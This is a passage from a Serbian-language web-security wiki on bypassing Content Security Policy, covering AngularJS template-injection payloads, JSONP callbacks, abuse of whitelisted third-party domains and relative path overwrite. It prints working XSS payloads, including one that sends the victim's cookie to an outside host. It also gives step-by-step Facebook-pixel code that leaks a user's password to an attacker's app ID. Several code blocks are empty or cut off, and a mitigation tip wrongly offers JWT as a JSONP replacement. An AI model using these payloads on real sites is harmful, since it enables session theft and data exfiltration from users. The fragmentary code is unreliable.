{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
[[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
```
### Treće strane krajnje tačke + JSONP
#### Opis
Content Security Policy (CSP) je mehanizam koji pomaže u sprečavanju Cross-Site Scripting (XSS) napada ograničavajući izvor resursa koji se mogu učitati na veb stranici. Međutim, CSP može biti zaobiđen korišćenjem trećih strana krajnjih tačaka i JSONP (JSON with Padding) tehnike.
#### Kako to radi?
Kada CSP politika dozvoljava korišćenje trećih strana krajnjih tačaka, može se iskoristiti JSONP tehnika za zaobilaženje CSP ograničenja. JSONP je tehnika koja omogućava učitavanje resursa sa drugog domena tako što se koristi `
```
Kada se ovaj kod izvrši, zahtev će biti poslat na `https://api.example.com/data` sa parametrom `callback=handleResponse`. Treća strana krajnja tačka će vratiti odgovor u JSON formatu, ali umotan u funkciju `handleResponse`. Na taj način, odgovor će biti izvršen kao JavaScript kod i funkcija `handleResponse` će biti pozvana sa podacima kao argumentom.
#### Mitigacija
Da bi se sprečilo zaobilaženje CSP politike putem trećih strana krajnjih tačaka i JSONP tehnike, treba pažljivo konfigurisati CSP politiku i ograničiti dozvoljene izvore skripti. Takođe, treba izbegavati korišćenje JSONP tehnike i umesto toga koristiti sigurnije alternative kao što su JSON Web Tokens (JWT) ili Cross-Origin Resource Sharing (CORS).
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
Scenariji poput ovog, gde je `script-src` podešen na `self` i određenu domenu koja je na beloj listi, mogu se zaobići korišćenjem JSONP-a. JSONP endpointi omogućavaju nesigurne povratne metode koje omogućavaju napadaču da izvrši XSS, radni payload:
```markup
">
">
```
```html
https://www.youtube.com/oembed?callback=alert;
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **sadrži spremne JSONP endpointe za CSP zaobilaženje različitih web stranica.**
Ista ranjivost će se pojaviti ako **pouzdani endpoint sadrži otvoreno preusmeravanje** jer ako je početni endpoint pouzdan, preusmeravanja su pouzdana.
### Zloupotrebe trećih strana
Kao što je opisano u [sledećem postu](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), postoji mnogo domena trećih strana koje mogu biti dozvoljene negde u CSP-u, a mogu se zloupotrebiti kako bi se izvršio JavaScript kod ili izvršio izvlačenje podataka. Neki od ovih trećih strana su:
| Entitet | Dozvoljeni domen | Mogućnosti |
|--------|----------------|--------------|
| Facebook | www.facebook.com, *.facebook.com | Izvlačenje |
| Hotjar | *.hotjar.com, ask.hotjar.io | Izvlačenje |
| Jsdelivr | *.jsdelivr.com, cdn.jsdelivr.net | Izvršavanje |
| Amazon CloudFront | *.cloudfront.net | Izvlačenje, Izvršavanje |
| Amazon AWS | *.amazonaws.com | Izvlačenje, Izvršavanje |
| Azure Websites | *.azurewebsites.net, *.azurestaticapps.net | Izvlačenje, Izvršavanje |
| Salesforce Heroku | *.herokuapp.com | Izvlačenje, Izvršavanje |
| Google Firebase | *.firebaseapp.com | Izvlačenje, Izvršavanje |
Ako pronađete neki od dozvoljenih domena u CSP-u vaše mete, postoji mogućnost da možete zaobići CSP registracijom na uslugu treće strane i izvršiti izvlačenje podataka na tu uslugu ili izvršiti kod.
Na primer, ako pronađete sledeći CSP:
```
Content-Security-Policy: default-src 'self’ www.facebook.com;
```
ili
```
Content-Security-Policy: connect-src www.facebook.com;
```
Trebali biste moći da izfiltrirate podatke, slično kao što je to uvek rađeno sa [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). U ovom slučaju, pratite ove opšte korake:
1. Kreirajte Facebook Developer nalog ovde.
1. Napravite novu "Facebook Login" aplikaciju i izaberite "Website".
1. Idite na "Settings -> Basic" i dobijte svoj "App ID".
1. Na ciljnoj stranici sa koje želite da izfiltrirate podatke, možete to uraditi direktno koristeći Facebook SDK uređaj "fbq" putem "customEvent" i podataka za prenos.
1. Idite na "Event Manager" vaše aplikacije i izaberite aplikaciju koju ste kreirali (napomena: event manager se može pronaći na URL-u sličnom ovom: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events).
1. Izaberite karticu "Test Events" da biste videli događaje koje šalje "vaš" veb sajt.
Zatim, na strani žrtve, izvršite sledeći kod da biste inicijalizovali Facebook tracking piksel koji će upućivati na napadačev Facebook developer nalog app-id i izdati prilagođeni događaj kao što je ovaj:
```JavaScript
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
```
Što se tiče ostalih sedam trećih domena navedenih u prethodnoj tabeli, postoji mnogo drugih načina na koje ih možete zloupotrebiti. Pogledajte prethodni [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) za dodatna objašnjenja o drugim zloupotrebama trećih strana.
### Bypass putem RPO (Relative Path Overwrite)
Pored pomenutog preusmeravanja za zaobilaženje ograničenja putanje, postoji još jedna tehnika koja se naziva Relative Path Overwrite (RPO) koja se može koristiti na nekim serverima.
Na primer, ako CSP dozvoljava putanju `https://example.com/scripts/react/`, može se zaobići na sledeći način:
```html
```
Preglednik će na kraju učitati `https://example.com/scripts/angular/angular.js`.
Ovo radi zato što preglednik učitava datoteku nazvanu `..%2fangular%2fangular.js` koja se nalazi pod `https://example.com/scripts/react/`, što je u skladu sa CSP-om.
Međutim, preglednik će to dekodirati i zapravo zatražiti `https://example.com/scripts/react/../angular/angular.js`, što je ekvivalentno `https://example.com/scripts/angular/angular.js`.
Iskorištavanjem ove neusklađenosti u tumačenju URL-a između preglednika i servera, pravila putanje mogu se zaobići.
Rješenje je da se na serverskoj strani ne tretira `%2f` kao `/`, kako bi se osiguralo dosljedno tumačenje između preglednika i servera i izbjegao ovaj problem.
Online primjer: [ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
### Izvršavanje JS koda putem iframe-a
{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
[iframes-in-xss-and-csp.md](../xss-cross-site-scripting/iframes-in-xss-and-csp.md)
{% endcontent-ref %}
### Nedostaje **base-uri**
Ako nedostaje direktiva **base-uri**, može se zloupotrijebiti za izvođenje [**dangling markup injection**](../dangling-markup-html-scriptless-injection/).
Osim toga, ako se **stranica učitava skriptom koristeći relativnu putanju** (poput `
ng-app"ng-csp ng-click=$event.view.alert(1337)>